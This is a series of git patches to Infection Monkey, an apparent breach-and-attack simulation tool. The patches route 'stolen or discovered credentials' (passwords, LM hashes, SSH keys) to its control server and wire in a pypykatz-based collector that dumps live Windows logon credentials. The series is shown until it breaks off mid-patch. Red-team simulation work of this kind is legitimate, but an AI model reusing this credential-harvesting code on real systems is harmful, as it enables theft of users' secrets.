From 040b37697bd5c6fdd5079381711fd25781a2e001 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 11:41:22 -0500 Subject: [PATCH 01/16] Agent: Add telemetry type for sending stolen credentials --- .../common/common_consts/telem_categories.py | 1 + .../telemetry/credentials_telem.py | 40 +++++++++++++++++++ .../telemetry/test_credentials_telem.py | 37 +++++++++++++++++ 3 files changed, 78 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/credentials_telem.py create mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index c9d3f82bd..d1e931721 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -9,3 +9,4 @@ class TelemCategoryEnum: ATTACK = "attack" FILE_ENCRYPTION = "file_encryption" AWS_INFO = "aws_info" + CREDENTIALS = "credentials" diff --git a/monkey/infection_monkey/telemetry/credentials_telem.py b/monkey/infection_monkey/telemetry/credentials_telem.py new file mode 100644 index 000000000..5da7040d5 --- /dev/null +++ b/monkey/infection_monkey/telemetry/credentials_telem.py @@ -0,0 +1,40 @@ +import enum +import json +from typing import Dict, Iterable + +from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialComponent +from infection_monkey.telemetry.base_telem import BaseTelem + + +class CredentialsTelem(BaseTelem): + telem_category = TelemCategoryEnum.CREDENTIALS + + def __init__(self, credentials: Iterable[Credentials]): + """ + Used to send information about stolen or discovered credentials to the Island. + :param credentials: An iterable containing credentials to be sent to the Island. + """ + self._credentials = credentials + + def get_data(self) -> Dict: + # TODO: At a later time we can consider factoring this into a Serializer class or similar. + return json.loads(json.dumps(self._credentials, default=_serialize)) + + +def _serialize(obj): + if isinstance(obj, enum.Enum): + return obj.name + + if isinstance(obj, ICredentialComponent): + # This is a workaround for ICredentialComponents that are implemented as dataclasses. If the + # credential_type attribute is populated with `field(init=False, ...)`, then credential_type + # is not added to the object's __dict__ attribute. The biggest risk of this workaround is + # that we might change the name of the credential_type field in ICredentialComponents, but + # automated refactoring tools would not detect that this string needs to change. This is + # mittigated by the call to getattr() below, which will raise an AttributeException if the + # attribute name changes and a unit test will fail under these conditions. + credential_type = getattr(obj, "credential_type") + return dict(obj.__dict__, **{"credential_type": credential_type}) + + return getattr(obj, "__dict__", str(obj)) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py new file mode 100644 index 000000000..a3d1e3f6f --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_credentials_telem.py @@ -0,0 +1,37 @@ +import json + +from infection_monkey.credential_collectors import Password, SSHKeypair, Username +from infection_monkey.i_puppet import Credentials +from infection_monkey.telemetry.credentials_telem import CredentialsTelem + + +def test_credential_telem_send(spy_send_telemetry): + username = "m0nkey" + password = "mmm" + public_key = "pub_key" + private_key = "priv_key" + + expected_data = [ + { + "identities": [{"username": username, "credential_type": "USERNAME"}], + "secrets": [ + {"password": password, "credential_type": "PASSWORD"}, + { + "private_key": "pub_key", + "public_key": "priv_key", + "credential_type": "SSH_KEYPAIR", + }, + ], + } + ] + + credentials = Credentials( + [Username(username)], [Password(password), SSHKeypair(public_key, private_key)] + ) + + telem = CredentialsTelem([credentials]) + telem.send() + + expected_data = json.dumps(expected_data, cls=telem.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "credentials" From 5953373125219543800484103c49d2c2e2a8b1bf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:03:47 -0500 Subject: [PATCH 02/16] Agent: Change order in i_puppet/__init__.py to prevent circular import --- monkey/infection_monkey/i_puppet/__init__.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/__init__.py b/monkey/infection_monkey/i_puppet/__init__.py index d6422ebc2..1c16f6df2 100644 --- a/monkey/infection_monkey/i_puppet/__init__.py +++ b/monkey/infection_monkey/i_puppet/__init__.py @@ -1,4 +1,10 @@ from .plugin_type import PluginType +from .credential_collection import ( + Credentials, + CredentialType, + ICredentialCollector, + ICredentialComponent, +) from .i_puppet import ( IPuppet, ExploiterResultData, @@ -10,9 +16,3 @@ from .i_puppet import ( UnknownPluginError, ) from .i_fingerprinter import IFingerprinter -from .credential_collection import ( - Credentials, - CredentialType, - ICredentialCollector, - ICredentialComponent, -) From 5b53984014c7a64120e0b18b323dd485c970258a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:11:27 -0500 Subject: [PATCH 03/16] Agent: Fix incorrect return type on PluginRegistry.get_plugin() --- monkey/infection_monkey/puppet/plugin_registry.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/puppet/plugin_registry.py b/monkey/infection_monkey/puppet/plugin_registry.py index 0e98ba2ef..2ec1e3900 100644 --- a/monkey/infection_monkey/puppet/plugin_registry.py +++ b/monkey/infection_monkey/puppet/plugin_registry.py @@ -1,5 +1,4 @@ import logging -from typing import Optional from infection_monkey.i_puppet import PluginType, UnknownPluginError @@ -28,7 +27,7 @@ class PluginRegistry: logger.debug(f"Plugin '{plugin_name}' loaded") - def get_plugin(self, plugin_name: str, plugin_type: PluginType) -> Optional[object]: + def get_plugin(self, plugin_name: str, plugin_type: PluginType) -> object: try: plugin = self._registry[plugin_type][plugin_name] except KeyError: From 419aa6fd84b46c2524980973bdce9db0299e4b26 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:14:45 -0500 Subject: [PATCH 04/16] Agent: Replace SysInfo w/ Credential collectors in IMaster and IPuppet --- monkey/infection_monkey/i_puppet/i_puppet.py | 16 +- .../infection_monkey/i_puppet/plugin_type.py | 2 +- .../master/automated_master.py | 25 +-- monkey/infection_monkey/master/mock_master.py | 26 +-- monkey/infection_monkey/monkey.py | 7 + monkey/infection_monkey/puppet/mock_puppet.py | 149 +++--------------- monkey/infection_monkey/puppet/puppet.py | 7 +- 7 files changed, 69 insertions(+), 163 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 69c128e68..cafc24f4d 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -2,9 +2,9 @@ import abc import threading from collections import namedtuple from enum import Enum -from typing import Dict, List +from typing import Dict, List, Sequence -from . import PluginType +from . import Credentials, PluginType class PortStatus(Enum): @@ -36,12 +36,14 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def run_sys_info_collector(self, name: str) -> Dict: + def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: """ - Runs a system info collector - :param str name: The name of the system info collector to run - :return: A dictionary containing the information collected from the system - :rtype: Dict + Runs a credential collector + :param str name: The name of the credential collector to run + :param Dict options: A dictionary containing options that modify the behavior of the + Credential collector + :return: A sequence of Credentials that have been collected from the system + :rtype: Sequence[Credentials] """ @abc.abstractmethod diff --git a/monkey/infection_monkey/i_puppet/plugin_type.py b/monkey/infection_monkey/i_puppet/plugin_type.py index 4e20d7360..eddc179cd 100644 --- a/monkey/infection_monkey/i_puppet/plugin_type.py +++ b/monkey/infection_monkey/i_puppet/plugin_type.py @@ -2,8 +2,8 @@ from enum import Enum class PluginType(Enum): + CREDENTIAL_COLLECTOR = "CredentialCollector" EXPLOITER = "Exploiter" FINGERPRINTER = "Fingerprinter" PAYLOAD = "Payload" POST_BREACH_ACTION = "PBA" - SYSTEM_INFO_COLLECTOR = "SystemInfoCollector" diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 28994d673..aa26753db 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -8,9 +8,9 @@ from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.model import VictimHostFactory from infection_monkey.network import NetworkInterface +from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.utils.threading import create_daemon_thread, interruptable_iter from infection_monkey.utils.timer import Timer @@ -134,12 +134,12 @@ class AutomatedMaster(IMaster): logger.error(f"An error occurred while fetching configuration: {e}") return - system_info_collector_thread = create_daemon_thread( + credential_collector_thread = create_daemon_thread( target=self._run_plugins, args=( config["system_info_collector_classes"], - "system info collector", - self._collect_system_info, + "credential collector", + self._collect_credentials, ), ) pba_thread = create_daemon_thread( @@ -147,14 +147,14 @@ class AutomatedMaster(IMaster): args=(config["post_breach_actions"].items(), "post-breach action", self._run_pba), ) - system_info_collector_thread.start() + credential_collector_thread.start() pba_thread.start() # Future stages of the simulation require the output of the system info collectors. Nothing # requires the output of PBAs, so we don't need to join on that thread here. We will join on # the PBA thread later in this function to prevent the simulation from ending while PBAs are # still running. - system_info_collector_thread.join() + credential_collector_thread.join() if self._can_propagate(): self._propagator.propagate(config["propagation"], self._stop) @@ -168,12 +168,13 @@ class AutomatedMaster(IMaster): pba_thread.join() - def _collect_system_info(self, collector: str): - system_info_telemetry = {} - system_info_telemetry[collector] = self._puppet.run_sys_info_collector(collector) - self._telemetry_messenger.send_telemetry( - SystemInfoTelem({"collectors": system_info_telemetry}) - ) + def _collect_credentials(self, collector: str): + credentials = self._puppet.run_credential_collector(collector, {}) + + if credentials: + self._telemetry_messenger.send_telemetry(CredentialsTelem(credentials)) + else: + logger.debug(f"No credentials were collected by {collector}") def _run_pba(self, pba: Tuple[str, Dict]): name = pba[0] diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index ddb5ccffb..fa4087e82 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -3,11 +3,11 @@ import logging from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet, PortStatus from infection_monkey.model.host import VictimHost +from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.telemetry.exploit_telem import ExploitTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.telemetry.scan_telem import ScanTelem -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem logger = logging.getLogger() @@ -31,18 +31,18 @@ class MockMaster(IMaster): self._exploit() self._run_payload() - def _run_sys_info_collectors(self): - logger.info("Running system info collectors") - system_info_telemetry = {} - system_info_telemetry["ProcessListCollector"] = self._puppet.run_sys_info_collector( - "ProcessListCollector" - ) - self._telemetry_messenger.send_telemetry( - SystemInfoTelem({"collectors": system_info_telemetry}) - ) - system_info = self._puppet.run_sys_info_collector("LinuxInfoCollector") - self._telemetry_messenger.send_telemetry(SystemInfoTelem(system_info)) - logger.info("Finished running system info collectors") + def _run_credential_collectors(self): + logger.info("Running credential collectors") + + windows_credentials = self._puppet.run_credential_collector("MimikatzCredentialCollector") + if windows_credentials: + self._telemetry_messenger.send_telemetry(CredentialsTelem(windows_credentials)) + + ssh_credentials = self._puppet.run_sys_info_collector("SSHCredentialCollector") + if ssh_credentials: + self._telemetry_messenger.send_telemetry(CredentialsTelem(ssh_credentials)) + + logger.info("Finished running credential collectors") def _run_pbas(self): diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c0b5d17b3..7fc8d89b2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from common.version import get_version from infection_monkey.config import GUID, WormConfiguration from infection_monkey.control import ControlClient +from infection_monkey.credential_collectors import MimikatzCredentialCollector from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -193,6 +194,12 @@ class InfectionMonkey: def _build_puppet() -> IPuppet: puppet = Puppet() + puppet.load_plugin( + "MimikatzCollector", + MimikatzCredentialCollector(), + PluginType.CREDENTIAL_COLLECTOR, + ) + puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("mssql", MSSQLFingerprinter(), PluginType.FINGERPRINTER) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index ec3984685..a30cbf353 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -1,8 +1,10 @@ import logging import threading -from typing import Dict, List +from typing import Dict, List, Sequence +from infection_monkey.credential_collectors import LMHash, Password, SSHKeypair, Username from infection_monkey.i_puppet import ( + Credentials, ExploiterResultData, FingerprintData, IPuppet, @@ -25,133 +27,26 @@ class MockPuppet(IPuppet): def load_plugin(self, plugin: object, plugin_type: PluginType) -> None: logger.debug(f"load_plugin({plugin}, {plugin_type})") - def run_sys_info_collector(self, name: str) -> Dict: - logger.debug(f"run_sys_info_collector({name})") - # TODO: More collectors - if name == "LinuxInfoCollector": - return { - "credentials": {}, - "network_info": { - "networks": [ - {"addr": "10.0.0.7", "netmask": "255.255.255.0"}, - {"addr": "10.45.31.103", "netmask": "255.255.255.0"}, - {"addr": "192.168.33.241", "netmask": "255.255.0.0"}, - ] - }, - "ssh_info": [ - { - "name": "m0nk3y", - "home_dir": "/home/m0nk3y", - "public_key": "ssh-rsa " - "AAAAB3NzaC1yc2EAAAADAQABAAABAQCqhqTJfcrAbTUPzQ+Ou9bhQjmP29jRBz00BAdvNu77Y1SwM/+wETxapv7QPG55oc04Y5qR1KaItcwz3Prh7Qe/ohP/I2mIhP5tDRNfYHxXaGtj58wQhFrkrUhERVvEvwyvb97RWPAtAJjWT8+S6ASjjvyUNHulFIjJ0Yptlj2fboeh1eETDQ4FKfofpgwmab110ct2500FOtY1MWqFgpRvV0EX8WgJoscQ5FnsJAn6Ueb3DnsrIDq1LtK1rmxGSiZwpgOCwvyC1FFfHeP+cfpPsS+G9pBSYm2VqR42QL1BJL1pm4wFPVrBDmzORVQRf35k6agL7loRlfmAt28epDi1 ubuntu@test\n", # noqa: E501 - "private_key": "-----BEGIN RSA PRIVATE KEY-----\n" - "MIIEpAIBAAKCAQEAqoakyX3KwG01D80PjrvW4UI5j9vY0Qc9NAQHbzbu+2NUsDP/\n" - "sBE8Wqb+0DxueaHNOGOakdSmiLXMM9z64e0Hv6IT/yNpiIT+bQ0TX2B8V2hrY+fM\n" - "Ew0OBSn6H6YMJmm9ddHLdudNBTrWNTFqhYKUb1dBF/FoCaLHEORZ7CQJ+lHm9w57\n" - "KyA6tS7Sta5sRkomcKYDgsL8gtRRXx3j/nH6T7EvhvaQUmJtlakeNkC9QSS9aZuM\n" - "snegLvVSlHVmKe8SjD0YAF7g9HH/vm0R2jYTYSArslw4mUZMjTcAQ/XBeDHDkNZq\n" - "x9ECzXdeZhXCXlKcadC+kNp+yT4MwkHAjid6AyalSDJ+9k3QRaI6ItxofWJhnZdB\n" - "RxQtnkJNOZCMKqwxmxUweX7AyShT1KdBdkw0VzkY0O3VUgdR9IzQu73eME5Qr4LM\n" - "5x+rFy0EggHkzCXecviDDQ/SJZEDR4yE0SCxwY0GxVfDdvM6aoLK7wLfu0hG+hjO\n" - "ewXmOAECgYEA4yA14atxKYWf8tAJnmH+IJi1nuiyBoaKJh9nGulGTFVpugytkfdy\n" - "omGYsvlSJd6x4KPM2nXuSD9uvS0ZDeHDXbPJcFAPscghwwIekunQigECgYEAwDRl\n" - "QOhBx8PpicbRmoEe06zb+gRNTYTnvcHgkJN275pqTn1hIAdQSGnyuyWdCN6CU8cg\n" - "p7ecLbCujAstim4H8LG6xMv8jBgVeBKclKEEy9IpvMZ/DGOdUS4/RMWkdVbcFFHZ\n" - "57gycmFwgN7ZFXdMkuCCZi2KCa4jX54G1VNX0+k64cLV8lgQXvVyl9QdvBkt8NqB\n" - "Zoce2vfDrFkUHoxQmAl2jvn8925KkAdga4Zj+zvLgmcryxCFZnA6IvxaoHzrUSxO\n" - "HpuEdCFek/4gyhXPbYQO99ZtOjx0mXwZVqRaEA1kvhX3+PjoPRO2wgBLXVNyb+P5\n" - "5Bxfk6XI40UAUSYv6XQlfIQj0xz/YfSkWbOwTJOShgMbJtiZVFuZ2YcEjSYXzNtv\n" - "WBM0+05OGqjxdyI+qpjHqrZVWN9WvvkH0gJz+zvcorygINMnuSjpNCw4nipXHaud\n" - "LbiqWK42eTmVSiFH+pH+YwVaTatc0RfQ7OP218GD8dtkTgw2JFOzbA==\n" - "-----END RSA PRIVATE KEY-----\n", - "known_hosts": "|1|pERVcy3opIGJnp7HVTpeA0FmuEY=|L64j7430lwkSFrmcn49Nf8YEsLc= " # noqa: E501 - "ssh-rsa " - "AAAAB3NzaC1yc2EAAAABIwAAAQEAq2A7hRGmdnm9tUDbO9IDSwBK6TbQa+PXYPCPy6rbTrTtw7PHkccKrpp0yVhp5HdEIcKr6pLlVDBfOLX9QUsyCOV0wzfjIJNlGEYsdlLJizHhbn2mUjvSAHQqZETYP81eFzLQNnPHt4EVVUh7VfDESU84KezmD5QlWpXLmvU31/yMf+Se8xhHTvKSCZIFImWwoG6mbUoWf9nzpIoaSjB+weqqUUmpaaasXVal72J+UX2B+2RPW3RcT0eOzQgqlJL3RKrTJvdsjE3JEAvGq3lGHSZXy28G3skua2SmVi/w4yCE6gbODqnTWlg7+wC604ydGXA8VJiS5ap43JXiUFFAaQ==\n" # noqa: E501 - "|1|DXEyHSAtnxSSWb4z6XLaxHJL/aM=|zjIBopXOz1GB9hbdpVcYsHY+eSU= " - "ssh-rsa " - "AAAAB3NzaC1yc2EAAAABIwAAAQEAq2A7hRGmdnm9tUDbO9IDSwBK6TbQa+PXYPCPy6rbTrTtw7PHkccKrpp0yVhp5HdEIcKr6pLlVDBfOLX9QUsyCOV0wzfjIJNlGEYsdlLJizHhbn2mUjvSAHQqZETYP81eFzLQNnPHt4EVVUh7VfDESU84KezmD5QlWpXLmvU31/yMf+Se8xhHTvKSCZIFImWwoG6mbUoWf9nzpIoaSjB+weqqUUmpaaasXVal72J+UX2B+2RPW3RcT0eOzQgqlJL3RKrTJvdsjE3JEAvGq3lGHSZXy28G3skua2SmVi/w4yCE6gbODqnTWlg7+wC604ydGXA8VJiS5ap43JXiUFFAaQ==\n" # noqa: E501 - "10.197.94.221 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n" # noqa: E501 - "|1|kVjsp1IWhGMsWfrbQuhLUABrNMk=|xKCh+yr8mPEyCLZ2/E5bC8bjvw0= " - "ecdsa-sha2-nistp256 " - "AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n" # noqa: E501 - "other_host,fd42:5289:fddc:ffdf:216:3eff:fe5b:9114 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n" # noqa: E501 - "|1|S6K6SneX+l7xTM1gNLvDAAzj4gs=|cSOIX6qf5YuIe2aw/KmUrM2ye/c= " - "ecdsa-sha2-nistp256 " - "AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL3o1lUn7mZ6HNKDlkFJH9lvFIOXpTH62XkxM7wKXeZbKUy1BKnx2Jkkpv6736XnbFNkUHSnPlCAYDBqsH4nr28=\n", # noqa: E501 - } - ], - } - if name == "ProcessListCollector": - return { - "process_list": { - 1: { - "cmdline": "/sbin/init", - "full_image_path": "/sbin/init", - "name": "systemd", - "pid": 1, - "ppid": 0, - }, - 65: { - "cmdline": "/lib/systemd/systemd-journald", - "full_image_path": "/lib/systemd/systemd-journald", - "name": "systemd-journald", - "pid": 65, - "ppid": 1, - }, - 84: { - "cmdline": "/lib/systemd/systemd-udevd", - "full_image_path": "/lib/systemd/systemd-udevd", - "name": "systemd-udevd", - "pid": 84, - "ppid": 1, - }, - 192: { - "cmdline": "/lib/systemd/systemd-networkd", - "full_image_path": "/lib/systemd/systemd-networkd", - "name": "systemd-networkd", - "pid": 192, - "ppid": 1, - }, - 17749: { - "cmdline": "-zsh", - "full_image_path": "/bin/zsh", - "name": "zsh", - "pid": 17749, - "ppid": 17748, - }, - 18392: { - "cmdline": "/home/ubuntu/venvs/monkey/bin/python " "monkey_island.py", - "full_image_path": "/usr/bin/python3.7", - "name": "python", - "pid": 18392, - "ppid": 17502, - }, - 18400: { - "cmdline": "/home/ubuntu/git/monkey/monkey/monkey_island/bin/mongodb/bin/mongod " # noqa: E501 - "--dbpath /home/ubuntu/.monkey_island/db", - "full_image_path": "/home/ubuntu/git/monkey/monkey/monkey_island/bin/mongodb/bin/mongod", # noqa: E501 - "name": "mongod", - "pid": 18400, - "ppid": 18392, - }, - 26535: { - "cmdline": "ACCESS DENIED", - "full_image_path": "null", - "name": "null", - "pid": 26535, - "ppid": 26469, - }, - 29291: { - "cmdline": "python infection_monkey.py m0nk3y -s " "localhost:5000", - "full_image_path": "/usr/bin/python3.7", - "name": "python", - "pid": 29291, - "ppid": 17749, - }, - } - } + def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: + logger.debug(f"run_credential_collector({name})") - return {} + if name == "SSHCredentialCollector": + # TODO: Replace Passwords with SSHKeypair after it is implemented + ssh_credentials = Credentials( + [Username("m0nk3y")], + [ + SSHKeypair("Public_Key_0", "Private_Key_0"), + SSHKeypair("Public_Key_1", "Private_Key_1"), + ], + ) + return [ssh_credentials] + elif name == "MimikatzCollector": + windows_credentials = Credentials( + [Username("test_user")], [Password("1234"), LMHash("DEADBEEF")] + ) + return [windows_credentials] + + return [] def run_pba(self, name: str, options: Dict) -> PostBreachData: logger.debug(f"run_pba({name}, {options})") diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 380ee1bbe..0bf07f714 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -1,9 +1,10 @@ import logging import threading -from typing import Dict, List +from typing import Dict, List, Sequence from infection_monkey import network from infection_monkey.i_puppet import ( + Credentials, ExploiterResultData, FingerprintData, IPuppet, @@ -27,8 +28,8 @@ class Puppet(IPuppet): def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) - def run_sys_info_collector(self, name: str) -> Dict: - return self._mock_puppet.run_sys_info_collector(name) + def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: + return list(self._mock_puppet.run_credential_collector(name, options)) def run_pba(self, name: str, options: Dict) -> PostBreachData: return self._mock_puppet.run_pba(name, options) From bf27a8c8ea8f4a7bd87f778b6fac7ce04207c492 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:22:44 -0500 Subject: [PATCH 05/16] Agent: Do not run pypykatz if the OS is not Windows --- .../mimikatz_collector/pypykatz_handler.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py index 2b7ceec65..98377bc86 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py @@ -1,10 +1,15 @@ import binascii +import logging from typing import Any, Dict, List, NewType from pypykatz.pypykatz import pypykatz +from infection_monkey.utils.environment import is_windows_os + from .windows_credentials import WindowsCredentials +logger = logging.getLogger(__name__) + CREDENTIAL_TYPES = [ "msv_creds", "wdigest_creds", @@ -19,6 +24,10 @@ PypykatzCredential = NewType("PypykatzCredential", Dict) def get_windows_creds() -> List[WindowsCredentials]: + if not is_windows_os(): + logger.debug("Skipping pypykatz because the operating system is not Windows") + return [] + pypy_handle = pypykatz.go_live() logon_data = pypy_handle.to_dict() windows_creds = _parse_pypykatz_results(logon_data) From 86a218d82b3f9f5ee7389972d77df086b60fd105 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:40:11 -0500 Subject: [PATCH 06/16] Agent: Add SSHCredentialCollector to credential_collectors.__init__.py --- monkey/infection_monkey/credential_collectors/__init__.py | 1 + .../test_ssh_credentials_collector.py | 3 +-- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py index a5d48e466..1f259949d 100644 --- a/monkey/infection_monkey/credential_collectors/__init__.py +++ b/monkey/infection_monkey/credential_collectors/__init__.py @@ -4,3 +4,4 @@ from .credential_components.password import Password from .credential_components.username import Username from .credential_components.ssh_keypair import SSHKeypair from .mimikatz_collector import MimikatzCredentialCollector +from .ssh_collector import SSHCredentialCollector diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py index 3727f8698..4b344d9b0 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py @@ -2,8 +2,7 @@ from unittest.mock import MagicMock import pytest -from infection_monkey.credential_collectors import SSHKeypair, Username -from infection_monkey.credential_collectors.ssh_collector import SSHCredentialCollector +from infection_monkey.credential_collectors import SSHCredentialCollector, SSHKeypair, Username from infection_monkey.i_puppet.credential_collection import Credentials From c96f2729191fc5625ed36123158a8adce8d79fcf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:41:04 -0500 Subject: [PATCH 07/16] UT: Remove linux_credentials_collector test directory --- .../test_ssh_credentials_collector.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/tests/unit_tests/infection_monkey/credential_collectors/{linux_credentials_collector => }/test_ssh_credentials_collector.py (100%) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/test_ssh_credentials_collector.py similarity index 100% rename from monkey/tests/unit_tests/infection_monkey/credential_collectors/linux_credentials_collector/test_ssh_credentials_collector.py rename to monkey/tests/unit_tests/infection_monkey/credential_collectors/test_ssh_credentials_collector.py From dd1df14b8e87353541a2dfb07e7254b7e2119ea3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:52:17 -0500 Subject: [PATCH 08/16] Agent: Make credential collector names consistent --- monkey/infection_monkey/master/mock_master.py | 4 ++-- monkey/infection_monkey/puppet/mock_puppet.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index fa4087e82..5c522a565 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -34,11 +34,11 @@ class MockMaster(IMaster): def _run_credential_collectors(self): logger.info("Running credential collectors") - windows_credentials = self._puppet.run_credential_collector("MimikatzCredentialCollector") + windows_credentials = self._puppet.run_credential_collector("MimikatzCollector") if windows_credentials: self._telemetry_messenger.send_telemetry(CredentialsTelem(windows_credentials)) - ssh_credentials = self._puppet.run_sys_info_collector("SSHCredentialCollector") + ssh_credentials = self._puppet.run_sys_info_collector("SSHCollector") if ssh_credentials: self._telemetry_messenger.send_telemetry(CredentialsTelem(ssh_credentials)) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index a30cbf353..8b76d175a 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -30,7 +30,7 @@ class MockPuppet(IPuppet): def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: logger.debug(f"run_credential_collector({name})") - if name == "SSHCredentialCollector": + if name == "SSHCollector": # TODO: Replace Passwords with SSHKeypair after it is implemented ssh_credentials = Credentials( [Username("m0nk3y")], From 2f838372b5d29ea3071d1d5728f9017dd401b44d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 16 Feb 2022 14:52:51 -0500 Subject: [PATCH 09/16] Common: Add SSHCollector to system info collectors --- monkey/common/common_consts/system_info_collectors_names.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py index 075d6ff45..20ac2b178 100644 --- 